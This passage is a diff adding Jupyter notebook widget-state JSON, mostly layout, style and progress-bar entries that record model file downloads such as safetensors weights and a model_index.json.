"horizontal", + "style": "IPY_MODEL_37e74a92120d40ab99b8a3efeb397bd8", + "value": 221326504 + } + }, + "c5f787d7f16542baa5a5657c3ecb14a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c797a3a49d1d44598e8810817eac04f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c826a36c99ae462abccdc59266c404d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c87c0b939bbe4e56b46fca4aa580f75a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c883ad6804cd4f628494b1eb7f432e51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8ba37c669974bbea2face17223d2bb4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8cabf1d8ffe421296725d8494ba0d3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_59b6eeeaf9464da891bf214ef1bbb7c2", + "placeholder": "​", + "style": "IPY_MODEL_7d3baaa3ab784895a59534261f43ce7d", + "value": "Downloading (…)_encoder/config.json: 100%" + } + }, + "c909bafccc65402fa93afea87f1b784e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_91f32130b9fc47ceaae99521c0b70015", + "placeholder": "​", + "style": "IPY_MODEL_e8bec5477f7c43c1a55c852ef8b7cb95", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "cabab037d12a455bbd283477e481d4ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2b68707a9749479cab4b4ecd124d87cb", + "placeholder": "​", + "style": "IPY_MODEL_e7274e83d2c44080bbbb2fc5ec79dfee", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "cd437bc3e2194f1a8c5e83ec98745b58": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cd9c9d32567f4e5aa9291f66b08490bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ad07cccdd8d44a9ab5e3458e8d902ac6", + "placeholder": "​", + "style": "IPY_MODEL_ff88d9a5f7d64ad7bb0f09f6c71543f1", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "cdcf280e7a3043c2a1d59e0eea379d96": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce0bc6a269b841e59b3c1b00796b8605": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ac71f4fe6e804f19b2529c82e5a42049", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_518150c24b25401d92cf483e5ecb0253", + "value": 75 + } + }, + "cf11071b7b114118a8b0b659167fa09e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_03bce4ac84fd40d485b023e21fe65c4f", + "IPY_MODEL_d0e9965e6aa4483da2dfa546b896e645", + "IPY_MODEL_22338ed9cec54338ad33267ed579603a" + ], + "layout": "IPY_MODEL_622d32a9bbda46fca3ee0733be303765" + } + }, + "d011d28093544ae692f90a7380908275": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d0716d01bfdf43ba88f8bbfd63d3285a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a9ab859e76814985877a4bacdb04e95a", + "placeholder": "​", + "style": "IPY_MODEL_1df97f1113c34b7eb89c7d1c6a81b3bd", + "value": " 587/587 [00:00<00:00, 12.9kB/s]" + } + }, + "d0e9965e6aa4483da2dfa546b896e645": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1237bd63fa814b57bbd9741296d71f46", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_5b3ca63a1af5452cb81fde6020fd9c53", + "value": 75 + } + }, + "d22523983b9a4c71a3057f3a281895ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3165abbffbc4da3bd4f0cb6f3437140": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3971f94fa5f433580509a27ce3ad017": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d4c5db5f7ffe42beb2065e14cbdd755d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc9783a6d9d0437b881b01cad81c0173", + "placeholder": "​", + "style": "IPY_MODEL_9e5ef9fe15314ce3bf13e61994851485", + "value": "100%" + } + }, + "d612163ad6d24d91a6d7ee758d8d6367": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d62c5143fa1544ba9e2d22555dc6c3f9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d74c7ced9e5841e0a3635bf848912874": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d801dfb1d399475e995ca9106f9b3a4d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d8b3f3c7b8394b5580d8541f20c090ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_db833b8a924f43208063cdc7b74220f7", + "placeholder": "​", + "style": "IPY_MODEL_d74c7ced9e5841e0a3635bf848912874", + "value": "100%" + } + }, + "db833b8a924f43208063cdc7b74220f7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e04b95f508b7431c9f4ee9159e3b5b13": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e417a487b9ab44d68bf5d4155f4ff339": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c2ccf29c76d1461c8e820cdd1091684a", + "placeholder": "​", + "style": "IPY_MODEL_42248bb1fb38481eaa292dbca2d68e38", + "value": "100%" + } + }, + "e6942466051e4a6a97c36b56d8d4e0c2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e71abb2ba1b546ff9d7acd0c174f60d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e7274e83d2c44080bbbb2fc5ec79dfee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e76b29381c114f808b3454fb122e8d10": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e85ceff770654ef1bd935f54ca32ee07": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d801dfb1d399475e995ca9106f9b3a4d", + "max": 587, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ed75698d0ffe4bcf886c72d276bbee17", + "value": 587 + } + }, + "e8bec5477f7c43c1a55c852ef8b7cb95": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e926a97d3f6149318dd6f01d17e90dd5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ea062db0a1ad43af805bf2d86d26d369": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b9cf936d26124cad959de16fcf5bea63", + "placeholder": "​", + "style": "IPY_MODEL_b3ae18d50eb4415b950f98bb38362207", + "value": "100%" + } + }, + "ec0c44e82a814774823e60634d678b0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ed75698d0ffe4bcf886c72d276bbee17": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ed9e0cfb4635476f9e31c5b48aeafde8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": 